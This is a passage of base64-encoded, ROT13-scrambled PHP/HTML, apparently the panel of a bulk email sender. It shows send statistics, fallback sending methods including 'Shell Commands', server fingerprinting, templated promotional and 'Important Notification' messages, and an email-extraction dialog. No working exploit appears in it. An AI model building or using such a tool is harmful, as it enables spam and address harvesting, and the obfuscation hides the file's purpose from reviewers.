PHF2aSBweW5mZj0icGJ5LTYgem8tMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmZ25nZi1wbmVxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YtcHVycHgtcHZlcHlyIGZnbmdmLXZwYmEiPjwvdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmZ25nZi1haHpvcmUiPjw/PSAkZnJhZ19wYmhhZyA/PjwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjIHB5bmZmPSJncmtnLXpoZ3JxIHpvLTAiPkZyYWc8L2M+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBieS02IHpvLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZmduZ2YtcG5lcSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IG92LWstcHZlcHlyIGZnbmdmLXZwYmEiPjwvdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmZ25nZi1haHpvcmUiPjw/PSAkc252eXJxX3BiaGFnID8+PC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGMgcHluZmY9Imdya2ctemhncnEgem8tMCI+U252eXJxPC9jPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjIHZzKCRmcmFnX3BiaGFnICsgJHNudnlycV9wYmhhZyA+IDApOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InpnLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJxLXN5cmsgd2hmZ3ZzbC1wYmFncmFnLW9yZ2pycmEgem8tMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYT5GaHBwcmZmIEVuZ3I8L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYT48Pz0gJGZyYWdfcGJoYWcgPiAwID8gZWJoYXEoKCRmcmFnX3BiaGFnLygkZnJhZ19wYmhhZyskc252eXJxX3BiaGFnKSkqMTAwLCAyKSA6IDAgPz4lPC9mY25hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iY2VidGVyZmYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iY2VidGVyZmYtb25lIiBmZ2x5cj0ianZxZ3U6IDw/PSAkZnJhZ19wYmhhZyA+IDAgPyAoJGZyYWdfcGJoYWcvKCRmcmFnX3BiaGFnKyRzbnZ5cnFfcGJoYWcpKSoxMDAgOiAwID8+JSI+PC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjIHJhcXZzOyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBGcmFxdmF0IFpyZ3VicWYgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcS11cm5xcmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1NSBweW5mZj0iem8tMCI+PHYgcHluZmY9Im92IG92LXl2dHVnYXZhdC1wdW5ldHIgenItMiI+PC92PkZyYXF2YXQgWnJndWJxZjwvdTU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEtb2JxbCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ieXZmZy10ZWJoYyB5dmZnLXRlYmhjLXN5aGZ1Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ieXZmZy10ZWJoYy12Z3J6IHEtc3lyayBueXZ0YS12Z3J6Zi1wcmFncmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic3lyay10ZWJqLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+WnJndWJxIDE6PC9mZ2ViYXQ+IFF2ZXJwZyBGcmFxem52eQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ib25xdHIgb25xdHItY2V2em5lbCB6cmd1YnEtb25xdHIiPkNldnpuZWw8L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ5dmZnLXRlYmhjLXZncnogcS1zeXJrIG55dnRhLXZncnpmLXByYWdyZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzeXJrLXRlYmotMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5acmd1YnEgMjo8L2ZnZWJhdD4gQ1VDIHpudnkoKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmNuYSBweW5mZj0ib25xdHIgb25xdHItZmhwcHJmZiB6cmd1YnEtb25xdHIiPlNueXlvbnB4PC9mY25hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ieXZmZy10ZWJoYy12Z3J6IHEtc3lyayBueXZ0YS12Z3J6Zi1wcmFncmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0ic3lyay10ZWJqLTEiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+WnJndWJxIDM6PC9mZ2ViYXQ+IEZaR0MgRmJweHJnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJvbnF0ciBvbnF0ci12YXNiIHpyZ3VicS1vbnF0ciI+U255eW9ucHg8L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ5dmZnLXRlYmhjLXZncnogcS1zeXJrIG55dnRhLXZncnpmLXByYWdyZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzeXJrLXRlYmotMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5acmd1YnEgNDo8L2ZnZWJhdD4gQ1VDWm52eXJlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmY25hIHB5bmZmPSJvbnF0ciBvbnF0ci1qbmVhdmF0IHpyZ3VicS1vbnF0ciI+QmNndmJhbnk8L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ5dmZnLXRlYmhjLXZncnogcS1zeXJrIG55dnRhLXZncnpmLXByYWdyZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJzeXJrLXRlYmotMSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5acmd1YnEgNTo8L2ZnZWJhdD4gRnVyeXkgUGJ6em5hcWYKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZjbmEgcHluZmY9Im9ucXRyIG9ucXRyLXZhc2IgenJndWJxLW9ucXRyIj5Tbnl5b25weDwvZmNuYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgIAogICAgICAgICAgICA8IS0tIEZsZmdyeiBHbm8gLS0+CiAgICAgICAgICAgIDxxdmkgcHluZmY9Imduby1jbmFyIHNucXIiIHZxPSJmbGZncnoiIGVieXI9Imdub2NuYXJ5Ij4KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEiPgogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBuZXEtdXJucXJlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHU1IHB5bmZmPSJ6by0wIj48diBweW5mZj0ib3Ygb3YtdHJuZSB6ci0yIj48L3Y+RmxmZ3J6IFF2bnRhYmZndnBmPC91NT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwbmVxLW9icWwiPgogICAgICAgICAgICAgICAgICAgICAgICA8dTYgcHluZmY9InpvLTMiPlpudnkgRmxmZ3J6IEZnbmdoZjwvdTY+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjIHNiZXJucHUoJGZsZmdyel9wdXJweGYgbmYgJHB1cnB4ID0+ICRmZ25naGYpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9jdWMKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRweW5mZiA9ICdmaHBwcmZmJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZzKGZnZWNiZigkZmduZ2hmLCAnQWJnIHNiaGFxJykgIT09IHNueWZyIHx8IGZnZWNiZigkZmduZ2hmLCAnUXZmbm95cnEnKSAhPT0gc255ZnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcHluZmYgPSAncW5hdHJlJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmcnZzKGZnZWNiZigkZmduZ2hmLCAnUHliZnJxJykgIT09IHNueWZyIHx8IGZnZWNiZigkZmduZ2hmLCAnQWJnIGZyZycpICE9PSBzbnlmcikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRweW5mZiA9ICdqbmVhdmF0JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJmbGZncnotcHVycHgtdmdyeiA8Pz0gJHB5bmZmID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJxLXN5cmsgd2hmZ3ZzbC1wYmFncmFnLW9yZ2pycmEgbnl2dGEtdmdyemYtcHJhZ3JlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZjbmE+PGZnZWJhdD48Pz0gJHB1cnB4ID8+OjwvZmdlYmF0PjwvZmNuYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZjbmE+PD89ICRmZ25naGYgPz48L2ZjbmE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9jdWMgcmFxc2Jlcm5wdTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDx1ZSBweW5mZj0iemwtNCI+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8dTYgcHluZmY9InpvLTMiPkZyZWlyZSBWYXNiZXpuZ3ZiYTwvdTY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnktenEtNiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZmxmZ3J6LXB1cnB4LXZncnogZmhwcHJmZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+UWJ6bnZhOjwvZmdlYmF0PjxvZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IHVnenlmY3Jwdm55cHVuZWYoJF9GUkVJUkVbJ1VHR0NfVUJGRyddID8/ICdIYXhhYmphJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icGJ5LXpxLTYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZsZmdyei1wdXJweC12Z3J6IGZocHByZmYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0PkZyZWlyZSBWQzo8L2ZnZWJhdD48b2U+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSB1Z3p5ZmNycHZueXB1bmVmKCRfRlJFSVJFWydGUkVJUkVfTlFRRSddID8/ICdIYXhhYmphJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icGJ5LXpxLTYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImZsZmdyei1wdXJweC12Z3J6IGZocHByZmYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0PkNVQyBJcmVmdmJhOjwvZmdlYmF0PjxvZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IGN1Y2lyZWZ2YmEoKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwYnktenEtNiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZmxmZ3J6LXB1cnB4LXZncnogZmhwcHJmZiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+RnJlaXJlIEZic2dqbmVyOjwvZmdlYmF0PjxvZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD89IHVnenlmY3Jwdm55cHVuZWYoJF9GUkVJUkVbJ0ZSRUlSRV9GQlNHSk5FUiddID8/ICdIYXhhYmphJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgCiAgICAgICAgICAgIDwhLS0gR3J6Y3luZ3JmIEdubyAtLT4KICAgICAgICAgICAgPHF2aSBweW5mZj0iZ25vLWNuYXIgc25xciIgdnE9ImdyemN5bmdyZiIgZWJ5cj0iZ25vY25hcnkiPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iZWJqIj4KICAgICAgICAgICAgICAgICAgICA8P2N1YwogICAgICAgICAgICAgICAgICAgICRncnpjeW5ncmYgPSBbCiAgICAgICAgICAgICAgICAgICAgICAgICdhcmpmeXJnZ3JlJyA9PiBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZ3ZneXInID0+ICdBcmpmeXJnZ3JlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd2cGJhJyA9PiAnb3YtYXJqZmNuY3JlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdmaG93cnBnJyA9PiAnWmJhZ3V5bCBBcmpmeXJnZ3JlIC0gWy16YmFndS1dIFstbHJuZS1dJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd6cmZmbnRyJyA9PiAiUXJuZSBbLXJ6bnZ5aGZyZS1dLAoKSnJ5cGJ6ciBnYiBiaGUgWy16YmFndS1dIGFyamZ5cmdncmUhCgpVcmVyIG5lciBndXIgeW5ncmZnIGhjcW5ncmY6CuKAoiBBcmogc3JuZ2hlcmYgbnFxcnEK4oCiIEhjcGJ6dmF0IHJpcmFnZgrigKIgRmNycHZueSBic3NyZWYKCkl2ZnZnIGJoZSBqcm9mdmdyIHNiZSB6YmVyIHFyZ252eWYuCgpPcmZnIGVydG5lcWYsCkFyamZ5cmdncmUgR3JueiIKICAgICAgICAgICAgICAgICAgICAgICAgXSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2pyeXBienInID0+IFsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdndmd5cicgPT4gJ0pyeXBienIgUnpudnknLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3ZwYmEnID0+ICdvdi1yemJ3di1menZ5cicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZmhvd3JwZycgPT4gJ0pyeXBienIgZ2IgQmhlIEZyZWl2cHIsIFstcnpudnloZnJlLV0hJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd6cmZmbnRyJyA9PiAiVXJ5eWIgWy1yem52eWhmcmUtXSwKCkpyeXBienIgbm9ibmVxISBKcidlciBya3B2Z3JxIGdiIHVuaXIgbGJoIGp2Z3UgaGYuCgpMYmhlIG5wcGJoYWcgdW5mIG9ycmEgZmhwcHJmZnNoeXlsIHBlcm5ncnEuCgpOcHBiaGFnIFFyZ252eWY6CuKAoiBSem52eTogWy1yem52eS1dCuKAoiBXYnZhIFFuZ3I6IFstcW5nci1dCuKAoiBFcnNyZXJhcHI6IFstZW5hcWJ6ZmdldmF0LV0KClRyZyBmZ25lZ3JxIG9sIGl2ZnZndmF0IGxiaGUgcW5mdW9ibmVxLgoKR3VuYXggbGJoIHNiZSBwdWJiZnZhdCBoZiEKCk9yZmcgZXJ0bmVxZiwKRmhjY2JlZyBHcm56IgogICAgICAgICAgICAgICAgICAgICAgICBdLAogICAgICAgICAgICAgICAgICAgICAgICAnY2ViemJndmJhJyA9PiBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZ3ZneXInID0+ICdDZWJ6Ymd2YmEnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3ZwYmEnID0+ICdvdi1jcmVwcmFnJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdmaG93cnBnJyA9PiAnRmNycHZueSBCc3NyZSBXaGZnIHNiZSBMYmghJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICd6cmZmbnRyJyA9PiAiVXJ5eWIgWy1yem52eWhmcmUtXSwKCkpyIHVuaXIgbiBmY3Jwdm55IGNlYnpiZ3ZiYSBzYmUgYmhlIGlueWhycSB6cnpvcmVmIQoKSGZyIHBicXI6IFstZW5hcWJ6ZmdldmF0LV0KSW55dnEgaGFndnk6IFstcW5nci1dCgpHdXZmIGJzc3JlIHZmIHJrcHloZnZpciBnYiBsYmguIFFiYSdnIHp2ZmYgZ3V2ZiBiY2NiZWdoYXZnbCEKClB5dnB4IHVyZXIgZ2IgcHludnogbGJoZSBic3NyZS4KCk9yZmcgZXJ0bmVxZiwKQ2ViemJndmJhZiBHcm56IgogICAgICAgICAgICAgICAgICAgICAgICBdLAogICAgICAgICAgICAgICAgICAgICAgICAnYWJndnN2cG5ndmJhJyA9PiBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZ3ZneXInID0+ICdBYmd2c3Zwbmd2YmEnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3ZwYmEnID0+ICdvdi1vcnl5JywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdmaG93cnBnJyA9PiAnVnpjYmVnbmFnIEFiZ3ZzdnBuZ3ZiYSAtIEVyc3JlcmFwcjogWy1mcmV2bnktXScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnenJmZm50cicgPT4gIlFybmUgWy1yem52eWhmcmUtXSwKCkd1dmYgdmYgbmEgdnpjYmVnbmFnIGFiZ3ZzdnBuZ3ZiYSBlcnRuZXF2YXQgbGJoZSBucHBiaGFnLgoKQWJndnN2cG5ndmJhIFZROiBbLWVuYXFienpxNS1dCkd2enI6IFstZ3Z6ci1dCkVyc3JlcmFwcjogWy1mcmV2bnktXQoKQ3lybmZyIGdueHIgbmNjZWJjZXZuZ3IgbnBndmJhIHZzIGFycnFycS4KCk9yZmcgZXJ0bmVxZiwKQWJndnN2cG5ndmJhIEZsZmdyeiIKICAgICAgICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSgkZ3J6Y3luZ3JmIG5mICR4cmwgPT4gJGdyemN5bmdyKToKICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBieS16cS02IHBieS15dC0zIHpvLTQiPgogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJncnpjeW5nci1wbmVxIiBiYXB5dnB4PSJ5Ym5xR3J6Y3luZ3IoJzw/PSAkeHJsID8+JykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHYgcHluZmY9Im92IDw/PSAkZ3J6Y3luZ3JbJ3ZwYmEnXSA/PiBncnpjeW5nci12cGJhIj48L3Y+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dTU+PD89ICRncnpjeW5nclsnZ3ZneXInXSA/PjwvdTU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YyBweW5mZj0iZ3JrZy16aGdycSBmem55eSB6by0wIj5QeXZweCBnYiB5Ym5xIGd1dmYgZ3J6Y3luZ3I8L2M+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgIDw/Y3VjIHJhcXNiZXJucHU7ID8+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgIAogICAgICAgICAgICA8IS0tIFlidGYgR25vIC0tPgogICAgICAgICAgICA8cXZpIHB5bmZmPSJnbm8tY25hciBzbnFyIiB2cT0ieWJ0ZiIgZWJ5cj0iZ25vY25hcnkiPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcSI+CiAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icG5lcS11cm5xcmUgcS1zeXJrIHdoZmd2c2wtcGJhZ3JhZy1vcmdqcnJhIG55dnRhLXZncnpmLXByYWdyZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1NSBweW5mZj0iem8tMCI+PHYgcHluZmY9Im92IG92LXl2ZmctcHVycHggenItMiI+PC92PkZyYXF2YXQgWWJ0ZjwvdTU+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Im9nYSBvZ2EtYmhneXZhci1mcnBiYXFuZWwgb2dhLWZ6IiBiYXB5dnB4PSJweXJuZVlidGYoKSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8diBweW5mZj0ib3Ygb3YtZ2VuZnUiPjwvdj4gUHlybmUgWWJ0ZgogICAgICAgICAgICAgICAgICAgICAgICA8L29oZ2diYT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJwbmVxLW9icWwiPgogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ5YnQtcGJhZ252YXJlIiB2cT0ieWJ0ZlBiYWdudmFyZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P2N1YyB2cyghcnpjZ2woJHlidGYpKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P2N1YyBzYmVybnB1KG5lZW5sX2VyaXJlZnIoJHlidGYpIG5mICR5YnQpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gJHlidCA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjIHJhcXNiZXJucHU7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P2N1YyByeWZyOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9Imdya2ctcHJhZ3JlIGdya2ctemhncnEgY2wtNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx2IHB5bmZmPSJvdiBvdi12YW9iayBxdmZjeW5sLTQgem8tMyI+PC92PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Yz5BYiB5YnRmIGxyZy4gRnJhcSBmYnpyIHJ6bnZ5ZiBnYiBmcnIgeWJ0ZiB1cmVyLjwvYz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/Y3VjIHJhcXZzOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICA8L3F2aT4KICAgIDwvcXZpPgogICAgCiAgICA8IS0tIFpicW55ZiAtLT4KICAgIDxxdmkgcHluZmY9InpicW55IHNucXIiIHZxPSJya2dlbnBnWmJxbnkiIGdub3ZhcXJrPSItMSI+CiAgICAgICAgPHF2aSBweW5mZj0iemJxbnktcXZueWJ0Ij4KICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktcGJhZ3JhZyI+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6YnFueS11cm5xcmUiPgogICAgICAgICAgICAgICAgICAgIDx1NSBweW5mZj0iemJxbnktZ3ZneXIiPjx2IHB5bmZmPSJvdiBvdi16bnR2cCB6ci0yIj48L3Y+UmtnZW5wZyBSem52eWY8L3U1PgogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhLXB5YmZyIiBxbmduLW9mLXF2Znp2ZmY9InpicW55Ij48L29oZ2diYT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktb2JxbCI+CiAgICAgICAgICAgICAgICAgICAgPHNiZXogenJndWJxPSJjYmZnIiB2cT0icmtnZW5wZ1NiZXoiPgogICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJucGd2YmEiIGlueWhyPSJya2dlbnBnIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iem8tMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXoteW5vcnkiPkNuZmdyIGdya2cgcGJhZ252YXZhdCByem52eWY6PC95bm9yeT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxncmtnbmVy